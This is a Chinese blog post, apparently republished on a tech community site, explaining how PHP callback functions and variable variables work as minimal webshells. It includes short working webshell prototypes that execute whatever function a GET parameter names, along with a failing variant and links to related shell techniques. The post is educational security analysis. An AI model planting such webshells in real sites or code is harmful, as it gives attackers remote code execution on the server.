浅谈PHP可变变量安全续续

简介: http://hi.baidu.com/kpstfbahmmalqre/item/c2a167b00d570296194697bf大家一定忘不了Non alphanumeric code in PHPhttp://www.

http://hi.baidu.com/kpstfbahmmalqre/item/c2a167b00d570296194697bf

大家一定忘不了

Non alphanumeric code in PHP

http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

 

Tiny PHP Shell

http://h.ackack.net/tiny-php-shell.html

 

这两个东西就是可变变量和回调函数在WEBSHELL上的高级实战运用。

 

但是要深入一个东西,必须理解它的原型。

 

首先是回调函数WEBSHELL的原型:

<?php
$_GET['x']();
?>

访问http://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

 

可变变量的WEBSHELL的原型:

<?php
$x = $_GET['x'];

$a = "${$x()}";
?>

访问://127.0.0.1/2.php?x=phpinfo后,phpinfo函数执行。

 

可变变量的WEBSHELL的原型失败的例子:

<?php
$x = $_GET['x'];
$a = "${$x}";

?>

http://127.0.0.1/2.php?x=phpinfo

爆出Parse error: syntax error, unexpected T_STRING

http://127.0.0.1/2.php?x=phpinfo()

代码未执行

http://127.0.0.1/2.php?x=@phpinfo()

代码未执行

 

到这里我们应该清楚了很多,逐本溯源,PHP手册上说明了可变变量只是动态设置变量,变量包括变量名只是在传递数据,数据不会当成代码执行!

 

数据要当成代码执行需要进入函数的参数,由函数执行,所以可变变量要实战成为可用的webshell,并且脱离eval等函数,本质还是需要往函数中传入参数依靠动态函数也就是函数回调这一特性。

 

至此浅谈PHP可变变量安全三篇合一,算是一篇比较基础的文档了,感谢Ryat牛和刺在技术上的提醒和帮助。三篇关于安全的主题分别是:

1.PHP双引号解析变量特性,容易引起PHP程序漏洞。

2.PHP可变变量语法有隐藏特性,存在“漏洞”。

3.PHP可变变量作为Webshell的原型和一些基础安全原理。

由于是科普文,本意也没想写成文档,所以更多扩展和发散就留给大家自己理解了。

目录
相关文章
|
2月前
|
SQL 存储 安全
PHP 与现代 Web 应用的安全挑战与解决方案
随着 Web 应用的发展,PHP 作为一种广泛使用的服务器端脚本语言,面临着越来越复杂的安全挑战。本文探讨了当前 PHP 开发中常见的安全问题,并提供了相应的解决方案,帮助开发者构建更安全可靠的 Web 应用。 【7月更文挑战第8天】
56 1
|
1月前
|
Ubuntu 应用服务中间件 Linux
如何在Ubuntu 14.04上使用Nginx和Php-fpm安全地托管多个网站
如何在Ubuntu 14.04上使用Nginx和Php-fpm安全地托管多个网站
13 0
|
3月前
|
自然语言处理 安全 PHP
PHP 之道笔记整理:最佳实践与安全指南
这篇文章讨论了PHP开发中的最佳实践,包括使用最新稳定版(PHP 8.3)以提升性能和安全,利用`DateTime`类及Carbon库处理日期时间,确保使用UTF-8编码并用`mb_*`函数处理字符串,以及通过密码哈希和数据过滤来加强Web应用安全。文章提醒开发者始终保持对新技术和安全实践的关注。
65 2
|
3月前
|
存储 安全 PHP
安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制&文件管理模块&包含&上传&遍历&写入&删除&下载&安全
安全开发-PHP应用&文件管理模块&显示上传&黑白名单类型过滤&访问控制&文件管理模块&包含&上传&遍历&写入&删除&下载&安全
|
2月前
|
安全 数据安全/隐私保护
屏蔽修改wp-login.php登录入口确保WordPress网站后台安全
WordPress程序默认的后台地址wp-login.php,虽然我们的密码设置比较复杂,但是如果被软件一直扫后台入口,一来影响网站的速度增加服务器的负担,二来万一被扫到密码,那就处于不安全的境地。所以,我们最好将后台地址入口隐藏屏蔽起来,我们可以通过下面的命令实现隐蔽wp-login.php入口。
65 0
|
4月前
|
安全 前端开发 PHP
采用PHP开发的医院安全(不良)事件系统源码 医院不良事件有哪些?又该怎样分类呢?也许这篇文章能给予你答案。
医疗安全不容忽视! 医疗不良事件有哪些?又该怎样分类呢?也许这篇文章能给予你答案。
48 1
采用PHP开发的医院安全(不良)事件系统源码 医院不良事件有哪些?又该怎样分类呢?也许这篇文章能给予你答案。
|
3月前
|
安全 前端开发 测试技术
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
|
3月前
|
存储 安全 关系型数据库
安全开发-PHP应用&留言板功能&超全局变量&数据库操作&第三方插件引用&后台模块&Session&Cookie&Token&身份验证&唯一性
安全开发-PHP应用&留言板功能&超全局变量&数据库操作&第三方插件引用&后台模块&Session&Cookie&Token&身份验证&唯一性
|
3月前
|
Linux PHP Windows
蓝易云 - php环境变量的配置步骤
以上就是配置PHP环境变量的步骤,希望对你有所帮助。
32 0
|
4月前
|
存储 安全 前端开发
PHP医院安全不良事件管理系统源码(AEMS)前端vue2+element+后端laravel8不良事件上报与闭环管理
医院不良事件上报与管理系统结合现代医院管理思路,遵照PDCA全面质量循环管理方法而设计,并在多家大型三甲医院成熟运用。系统从事件上报、基于人、机、料、法 、环的RCA分析、事件整改、效果评估实现了结构化、标准化、智能化的管理和分析,满足医院可追溯化、全流程闭环管理要求,满足等级医院评审细则要求,大力提高医院不良事件上报的效率,保障事件分析的准确性,促进医疗安全的提高,避免同类事件再次发生,改善整个医院医疗安全,从而实现医院安全医疗的目标。
65 3